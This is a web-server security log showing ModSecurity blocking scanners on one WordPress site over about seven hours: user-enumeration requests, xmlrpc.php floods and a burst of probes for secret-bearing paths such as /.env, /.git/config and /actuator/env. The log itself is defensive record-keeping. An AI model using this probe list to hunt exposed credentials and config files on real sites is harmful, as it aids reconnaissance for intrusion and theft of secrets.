[Thu Dec 18 18:38:26.412835 2025] [:error] [pid 23558:tid 23622] [client 185.177.152.233:37388] [client 185.177.152.233] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aUPZouHam9NbgPQa9ub2JQAAAMc"]
[Thu Dec 18 18:38:52.778522 2025] [:error] [pid 12239:tid 12263] [client 20.120.241.165:59410] [client 20.120.241.165] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aUPZvNNnXxfGIuWO6anrzgAAApM"]
[Thu Dec 18 18:39:57.579919 2025] [:error] [pid 25357:tid 25366] [client 74.208.213.98:39826] [client 74.208.213.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aUPZ_YaT7bsEXnJVfJdGjgAAAcc"]
[Thu Dec 18 19:00:37.377378 2025] [:error] [pid 23558:tid 23616] [client 165.22.34.189:39244] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/api-docs"] [unique_id "aUPe1eHam9NbgPQa9ub8zwAAAME"]
[Thu Dec 18 19:00:38.414871 2025] [:error] [pid 23558:tid 23620] [client 165.22.34.189:44630] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3/api-docs"] [unique_id "aUPe1uHam9NbgPQa9ub80gAAAMU"]
[Thu Dec 18 19:00:39.381834 2025] [:error] [pid 23556:tid 23569] [client 165.22.34.189:44640] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api-docs/swagger.json"] [unique_id "aUPe1xnmLlk3u5yt9kHNLwAAAAk"]
[Thu Dec 18 19:00:40.509742 2025] [:error] [pid 24433:tid 24456] [client 165.22.34.189:44648] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api/swagger.json"] [unique_id "aUPe2J4pN9ycmipm8TjAzwAAARQ"]
[Thu Dec 18 19:00:41.439115 2025] [:error] [pid 24958:tid 24970] [client 165.22.34.189:44662] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/@vite/env"] [unique_id "aUPe2ckDOrUkd0wNm2G2NgAAAYk"]
[Thu Dec 18 19:00:42.502698 2025] [:error] [pid 24958:tid 24962] [client 165.22.34.189:44676] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/actuator/env"] [unique_id "aUPe2skDOrUkd0wNm2G2NwAAAYE"]
[Thu Dec 18 19:00:43.434641 2025] [:error] [pid 25357:tid 25383] [client 165.22.34.189:44688] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aUPe24aT7bsEXnJVfJdLRwAAAdg"]
[Thu Dec 18 19:00:44.502287 2025] [:error] [pid 24433:tid 24436] [client 165.22.34.189:44702] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aUPe3J4pN9ycmipm8TjA0gAAAQA"]
[Thu Dec 18 19:00:45.394000 2025] [:error] [pid 12383:tid 12398] [client 165.22.34.189:44716] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aUPe3fdgllo9h1cyxGatzAAAAsw"]
[Thu Dec 18 19:00:47.379033 2025] [:error] [pid 23556:tid 23568] [client 165.22.34.189:44720] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aUPe3xnmLlk3u5yt9kHNNQAAAAg"]
[Thu Dec 18 19:00:48.358024 2025] [:error] [pid 25357:tid 25379] [client 165.22.34.189:47524] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aUPe4IaT7bsEXnJVfJdLUwAAAdQ"]
[Thu Dec 18 19:00:49.411409 2025] [:error] [pid 12383:tid 12390] [client 165.22.34.189:47532] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aUPe4fdgllo9h1cyxGat0gAAAsQ"]
[Thu Dec 18 19:00:50.438081 2025] [:error] [pid 12035:tid 12047] [client 165.22.34.189:47540] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aUPe4rcVHrNSHjCo-0qBOQAAAgU"]
[Thu Dec 18 19:00:51.591460 2025] [:error] [pid 23645:tid 23669] [client 165.22.34.189:47552] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aUPe4zf_Rx0Y0ao_QJhDFAAAAJY"]
[Thu Dec 18 19:00:52.384194 2025] [:error] [pid 12035:tid 12064] [client 165.22.34.189:47560] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aUPe5LcVHrNSHjCo-0qBPAAAAhU"]
[Thu Dec 18 19:00:53.531638 2025] [:error] [pid 12035:tid 12066] [client 165.22.34.189:47572] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aUPe5bcVHrNSHjCo-0qBPgAAAhc"]
[Thu Dec 18 19:00:54.405427 2025] [:error] [pid 24542:tid 24565] [client 165.22.34.189:47580] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aUPe5ktQz4H2oS3NrDbqeAAAAVU"]
[Thu Dec 18 19:00:55.500537 2025] [:error] [pid 23558:tid 23634] [client 165.22.34.189:47584] [client 165.22.34.189] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aUPe5-Ham9NbgPQa9ub86AAAANM"]
[Thu Dec 18 19:00:57.649263 2025] [:error] [pid 12035:tid 12062] [client 165.22.34.189:47590] [client 165.22.34.189] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aUPe6bcVHrNSHjCo-0qBSgAAAhM"]
[Thu Dec 18 19:00:58.884988 2025] [:error] [pid 12035:tid 12056] [client 165.22.34.189:37432] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aUPe6rcVHrNSHjCo-0qBTAAAAg0"]
[Thu Dec 18 19:01:00.268055 2025] [:error] [pid 23558:tid 23624] [client 165.22.34.189:37448] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aUPe7OHam9NbgPQa9ub89gAAAMk"]
[Thu Dec 18 19:01:01.454676 2025] [:error] [pid 23645:tid 23667] [client 165.22.34.189:37458] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aUPe7Tf_Rx0Y0ao_QJhDJQAAAJQ"]
[Thu Dec 18 19:01:03.107669 2025] [:error] [pid 25357:tid 25373] [client 165.22.34.189:37462] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUPe74aT7bsEXnJVfJdLYgAAAc4"]
[Thu Dec 18 19:01:04.697888 2025] [:error] [pid 12035:tid 12049] [client 165.22.34.189:37468] [client 165.22.34.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUPe8LcVHrNSHjCo-0qBUwAAAgc"]
[Thu Dec 18 19:52:15.586266 2025] [:error] [pid 24542:tid 24554] [client 223.244.35.77:34756] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUPq70tQz4H2oS3NrDb-YwAAAUo"]
[Thu Dec 18 20:15:43.404009 2025] [:error] [pid 12035:tid 12050] [client 34.26.116.214:51132] [client 34.26.116.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.116.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUPwb7cVHrNSHjCo-0qNfgAAAgg"]
[Thu Dec 18 20:15:47.059517 2025] [:error] [pid 12035:tid 12043] [client 34.26.116.214:51132] [client 34.26.116.214] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUPwc7cVHrNSHjCo-0qNhAAAAgE"]
[Thu Dec 18 20:15:48.719188 2025] [:error] [pid 12035:tid 12045] [client 34.26.116.214:51132] [client 34.26.116.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.116.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUPwdLcVHrNSHjCo-0qNhgAAAgM"]
[Thu Dec 18 20:15:50.670486 2025] [:error] [pid 23645:tid 23664] [client 34.26.116.214:53184] [client 34.26.116.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.116.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUPwdjf_Rx0Y0ao_QJhRGwAAAJE"]
[Thu Dec 18 20:15:52.763644 2025] [:error] [pid 23645:tid 23658] [client 34.26.116.214:52946] [client 34.26.116.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.116.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUPweDf_Rx0Y0ao_QJhRHAAAAIs"]
[Thu Dec 18 20:15:54.835567 2025] [:error] [pid 23558:tid 23634] [client 34.26.116.214:53635] [client 34.26.116.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.116.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUPweuHam9NbgPQa9uYSlAAAANM"]
[Thu Dec 18 20:15:56.909737 2025] [:error] [pid 24433:tid 24457] [client 34.26.116.214:59564] [client 34.26.116.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.116.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUPwfJ4pN9ycmipm8TjNggAAARU"]
[Thu Dec 18 20:15:56.909899 2025] [:error] [pid 24433:tid 24457] [client 34.26.116.214:59564] [client 34.26.116.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.26.116.214, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUPwfJ4pN9ycmipm8TjNggAAARU"]
[Thu Dec 18 22:52:25.392329 2025] [:error] [pid 12383:tid 12402] [client 43.153.119.119:46350] [client 43.153.119.119] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUQVKfdgllo9h1cyxGbWiwAAAtA"]
[Thu Dec 18 22:59:43.040536 2025] [:error] [pid 24433:tid 24454] [client 122.167.115.162:25451] [client 122.167.115.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.167.115.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQW354pN9ycmipm8TjsLwAAARI"]
[Thu Dec 18 23:04:11.078297 2025] [:error] [pid 24433:tid 24451] [client 122.167.115.162:14439] [client 122.167.115.162] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aUQX654pN9ycmipm8TjsuwAAAQ8"]
[Thu Dec 18 23:06:03.929202 2025] [:error] [pid 12239:tid 12258] [client 122.167.115.162:2028] [client 122.167.115.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.167.115.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQYW9NnXxfGIuWO6ak2cgAAAo4"]
[Thu Dec 18 23:07:56.186538 2025] [:error] [pid 23558:tid 23632] [client 122.167.115.162:1583] [client 122.167.115.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.167.115.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQYzOHam9NbgPQa9uY_EgAAANE"]
[Thu Dec 18 23:09:47.606656 2025] [:error] [pid 12239:tid 12247] [client 122.167.115.162:13267] [client 122.167.115.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.167.115.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQZO9NnXxfGIuWO6ak3AAAAAoM"]
[Thu Dec 18 23:11:51.561579 2025] [:error] [pid 23558:tid 23638] [client 122.167.115.162:11249] [client 122.167.115.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.167.115.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQZt-Ham9NbgPQa9uY_7wAAANc"]
[Fri Dec 19 01:26:55.591748 2025] [:error] [pid 45737:tid 45743] [client 173.239.236.36:29167] [client 173.239.236.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUQ5X1AGdb8SXm6CLHiVHAAAAAI"]
[Fri Dec 19 01:26:57.223990 2025] [:error] [pid 45737:tid 45754] [client 173.239.236.36:29167] [client 173.239.236.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5YVAGdb8SXm6CLHiVIQAAAA0"]
[Fri Dec 19 01:26:59.171997 2025] [:error] [pid 65011:tid 65053] [client 173.239.236.79:32649] [client 173.239.236.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5Y9qlBhOfWMNHM-7ETgAAAUg"]
[Fri Dec 19 01:27:01.638180 2025] [:error] [pid 45825:tid 45850] [client 173.239.236.171:53409] [client 173.239.236.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5ZdES1ifyzuzFwz8dYAAAAFc"]
[Fri Dec 19 01:27:03.913992 2025] [:error] [pid 45737:tid 45744] [client 173.239.236.5:29365] [client 173.239.236.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5Z1AGdb8SXm6CLHiVMQAAAAM"]
[Fri Dec 19 01:27:06.075309 2025] [:error] [pid 37418:tid 37421] [client 173.239.236.176:38691] [client 173.239.236.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5aq0VAcRIm10OnozBKAAAAIE"]
[Fri Dec 19 01:27:08.117516 2025] [:error] [pid 45738:tid 45781] [client 173.239.236.160:23193] [client 173.239.236.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5bHnw52b7ekJTIU3CswAAAM0"]
[Fri Dec 19 01:27:10.098006 2025] [:error] [pid 45738:tid 45786] [client 173.239.236.94:56039] [client 173.239.236.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5bnnw52b7ekJTIU3CtgAAANI"]
[Fri Dec 19 01:27:12.139951 2025] [:error] [pid 45737:tid 45755] [client 173.239.236.118:32591] [client 173.239.236.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5cFAGdb8SXm6CLHiVPAAAAA4"]
[Fri Dec 19 01:27:14.052238 2025] [:error] [pid 45739:tid 45797] [client 173.239.236.223:41481] [client 173.239.236.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5cuIfOvWlLwqW0X3p4QAAAQI"]
[Fri Dec 19 01:27:16.849007 2025] [:error] [pid 65011:tid 65050] [client 173.239.236.18:53497] [client 173.239.236.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5dNqlBhOfWMNHM-7EZwAAAUU"]
